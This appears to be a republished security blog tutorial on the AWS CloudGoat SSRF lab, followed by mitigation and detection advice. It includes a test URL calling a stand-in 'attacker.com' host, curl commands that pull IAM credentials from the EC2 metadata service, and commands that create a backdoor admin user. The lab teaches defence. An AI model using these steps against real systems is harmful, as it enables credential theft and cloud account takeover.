Listen to this Post

Introduction:
Server‑Side Request Forgery (SSRF) is a vulnerability that tricks a web application into making unauthorized internal requests. In cloud environments like AWS, an SSRF flaw can become a direct highway to the EC2 metadata service (169.254.169.254), which stores IAM role credentials, instance data, and even user‑data secrets. This article walks through a complete exploitation chain using the AWS CloudGoat “EC2 SSRF” scenario, from identifying the vulnerable endpoint to extracting temporary access keys and escalating privileges – exactly as demonstrated by Bulbul Narwariya on the Hacking Articles platform.
Learning Objectives:
- Understand how SSRF attacks abuse the trust between a web server and internal cloud metadata services.
- Execute a step‑by‑step SSRF exploitation against an AWS‑hosted application to steal IAM credentials.
- Implement detection and mitigation techniques, including IMDSv2, security group hardening, and egress filtering.
You Should Know
- Understanding SSRF and the AWS EC2 Metadata Service
SSRF forces a web server to make HTTP requests to a destination chosen by the attacker. When the vulnerable application runs on an EC2 instance, an attacker can target the link‑local metadata endpoint http://169.254.169.254/latest/meta-data/`. This endpoint, if using IMDSv1 (simple HTTP GET), returns sensitive information without authentication. The crown jewel is the IAM role credentials – `iam/security-credentials/AccessKeyId,SecretAccessKey, andSessionToken`.
Step‑by‑step – manual verification (Linux):
- Identify a user‑controlled URL parameter (e.g.,
?url=,?dest=,?path=) that fetches external resources. - Test for SSRF by pointing the parameter to a request‑bin or a controlled server:
`https://target.com/proxy?url=http://attacker.com/ssrf_test`
3. If you receive a callback, try accessing the metadata endpoint:
`https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/` - On success, the response returns a list of metadata keys. For IAM roles, look for the role name inside
iam/security-credentials/.
Windows alternative (PowerShell):
Using Invoke-WebRequest to test SSRF via a vulnerable endpoint $response = Invoke-WebRequest -Uri "https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" $response.Content
- Setting Up AWS CloudGoat – The SSRF Scenario
CloudGoat is AWS’s open‑source “capture the flag” tool that creates vulnerable environments. The `ec2_ssrf` scenario provisions an EC2 instance running a Flask web application that is deliberately vulnerable to SSRF.
Step‑by‑step deployment (Linux/macOS):
- Install prerequisites: Python, pip, AWS CLI, and Terraform.
sudo apt update && sudo apt install python3 python3-pip terraform -y pip3 install awscli
2. Clone CloudGoat:
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat pip3 install -r requirements.txt
3. Configure AWS credentials with a user that has administrative permissions:
aws configure
4. Deploy the `ec2_ssrf` scenario:
./cloudgoat.py create ec2_ssrf
5. Note the outputs – the public IP or DNS of the vulnerable web application and the IAM role assigned.
Windows (WSL2 recommended):
Use the same steps inside a WSL2 Ubuntu environment. Alternatively, install Terraform and AWS CLI natively on Windows, then run CloudGoat via PowerShell with Python.
3. Exploiting SSRF – Extracting IAM Temporary Credentials
Once the CloudGoat environment is running, the vulnerable endpoint accepts a `url` parameter and fetches whatever URL is supplied. The attacker’s goal is to read the EC2 metadata IAM role credentials.
Step‑by‑step exploitation:
- Browse to the vulnerable app, e.g., `http://
/fetch?url=http://example.com`. - Change the `url` parameter to the metadata endpoint:
`http:///fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/`
– The response returns a role name (e.g., cg-ec2-ssrf-role).
3. Append the role name to the path:
`http://
4. The JSON response includes:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2025-04-30T12:00:00Z"
}
Using `curl` for automation (Linux):
Extract role name ROLE=$(curl -s "http://<cloudgoat-ip>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" | tr -d '\n') Get credentials curl -s "http://<cloudgoat-ip>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
4. Privilege Escalation – Using Stolen AWS Keys
With temporary IAM credentials in hand, an attacker can configure the AWS CLI and perform actions permitted by the compromised role. In CloudGoat, the `ec2_ssrf` role often has over‑permissive policies (e.g., full EC2, S3, or even IAM write access).
Step‑by‑step escalation (Linux/Windows):
1. Set the stolen credentials as environment variables:
export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=...
2. On Windows (Command Prompt):
set AWS_ACCESS_KEY_ID=ASIA... set AWS_SECRET_ACCESS_KEY=... set AWS_SESSION_TOKEN=...
3. Verify the identity:
aws sts get-caller-identity
4. Enumerate resources:
aws ec2 describe-instances --region us-east-1 aws s3 ls
5. Escalate further – if the role can create new IAM users or attach policies, an attacker can grant themselves administrative access:
aws iam create-user --user-name hacker aws iam attach-user-policy --user-name hacker --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Real‑world note: Always check `Expiration` – temporary keys last between 1 and 12 hours. Attackers use them immediately to establish persistence (e.g., creating a backdoor IAM user or launching a new instance).
- Mitigation – Hardening Against SSRF & Metadata Theft
Stopping this attack requires both application‑level controls and cloud‑specific defenses.
Step‑by‑step hardening:
- Upgrade to IMDSv2 – IMDSv2 uses session‑oriented PUT requests, defeating most naïve SSRF attacks.
– On existing instances:
aws ec2 modify-instance-metadata-options --instance-id i-xxxx --http-tokens required --http-endpoint enabled
– Launch new instances with MetadataOptions={"HttpTokens":"required"}.
2. Implement egress filtering – restrict outbound traffic from the application subnet. Only allow necessary external IPs and block access to `169.254.169.254` via security groups or network ACLs:
Example iptables rule on the instance (Linux) sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP
3. Application‑level SSRF prevention – use whitelists for allowed URLs, avoid raw HTTP fetches based on user input, and validate URL schemas.
– Python (flask) safe example:
from urllib.parse import urlparse
allowed_domains = ['api.trusted.com']
parsed = urlparse(user_input)
if parsed.hostname not in allowed_domains:
raise Exception("Blocked")
4. Use a WAF with SSRF detection – AWS WAF can inspect request parameters for patterns like `169.254.169.254` or 169.254..
5. Adopt least privilege IAM roles – never assign overly broad roles to EC2. Use role‑specific policies that only grant required actions (e.g., read from one S3 bucket, not all).
Testing mitigation (Linux):
After enabling IMDSv2, try the same SSRF payload – the metadata service will reject simple HTTP GET requests unless the `X-aws-ec2-metadata-token` header is present.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Should return 401
6. Detecting SSRF & Credential Theft in Logs
Proactive detection involves monitoring both application logs and cloud trail events.
Step‑by‑step monitoring strategy:
- Enable VPC Flow Logs – look for outbound traffic to `169.254.169.254` from unexpected instance roles.
- AWS CloudTrail – alert on
GetCallerIdentity,AssumeRole, and unusual API calls from temporary credentials. - Application access logs – flag URL parameters containing IP addresses or hostnames like
169.254.169.254, `metadata.google.internal` (GCP), or `100.100.100.200` (Alibaba). - Use AWS GuardDuty – it includes threat detections for EC2 instances making metadata service requests to an external IP or for IAM credential exfiltration patterns.
- Linux command to hunt for metadata probes in real‑time:
sudo tcpdump -i eth0 host 169.254.169.254 -n
What Undercode Say
- Key Takeaway 1: SSRF is a cloud‑first vulnerability. Unlike traditional data breaches, one vulnerable parameter can expose the keys that control your entire AWS account – not just a single server.
- Key Takeaway 2: IMDSv1 is intrinsically dangerous. Every EC2 instance still using the v1 metadata service (the default in many legacy setups) is one blind SSRF away from total compromise. Upgrading to IMDSv2 is a quick, no‑cost, high‑impact security win.
- Key Takeaway 3: Defense‑in‑depth works. Egress filtering + IMDSv2 + least‑privilege IAM roles + WAF rules create overlapping barriers; even if the SSRF exists, the blast radius stays small.
Analysis: The AWS CloudGoat SSRF lab mirrors real‑world incidents where attackers (e.g., the Capital One breach) used SSRF to steal credentials from the metadata service. Because developers often treat internal endpoints as “safe,” they fail to validate outbound requests. The fix is not just code‑level sanitization – it requires rethinking how cloud workloads trust their own network. Organizations relying solely on static IAM keys (instead of roles) are even more exposed, as stolen keys may not rotate automatically. The future of cloud security will see IMDSv2 become mandatory, and SSRF will be treated with the same criticality as SQL injection.
Prediction: As more companies adopt Kubernetes and service meshes, SSRF attacks will pivot toward internal cluster APIs (kubelet, etcd) and cloud control plane endpoints. We predict a rise in “cross‑service SSRF” – chaining an SSRF in a public load balancer to attack a private metadata proxy or a configuration endpoint inside a VPC. Cloud providers will eventually deprecate IMDSv1 entirely, forcing all instances to adopt session‑based metadata access. Meanwhile, red teams will increasingly automate SSRF fuzzing with tools like `ffuf` and custom payload lists targeting cloud‑specific IP ranges, turning static application scanning into dynamic cloud privilege escalation.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Bulbul Narwariya – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


